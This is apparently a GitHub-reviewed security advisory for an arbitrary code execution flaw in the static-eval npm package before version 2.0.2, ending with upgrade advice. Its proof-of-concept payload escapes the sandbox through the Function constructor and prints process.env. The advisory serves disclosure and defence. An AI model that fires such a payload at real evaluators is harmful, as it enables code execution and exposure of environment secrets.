OSV 1.4.0 · github-reviewed · 修改于 2021-09-27 21:40
发布时间
2020-09-02 23:46
GitHub 审查时间
2020-09-01 02:34
NVD 发布时间
—
源文件
advisories/github-reviewed/2020/09/GHSA-x9hc-rw35-f44h/GHSA-x9hc-rw35-f44h.json
Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));
Upgrade to version 2.0.2 or later.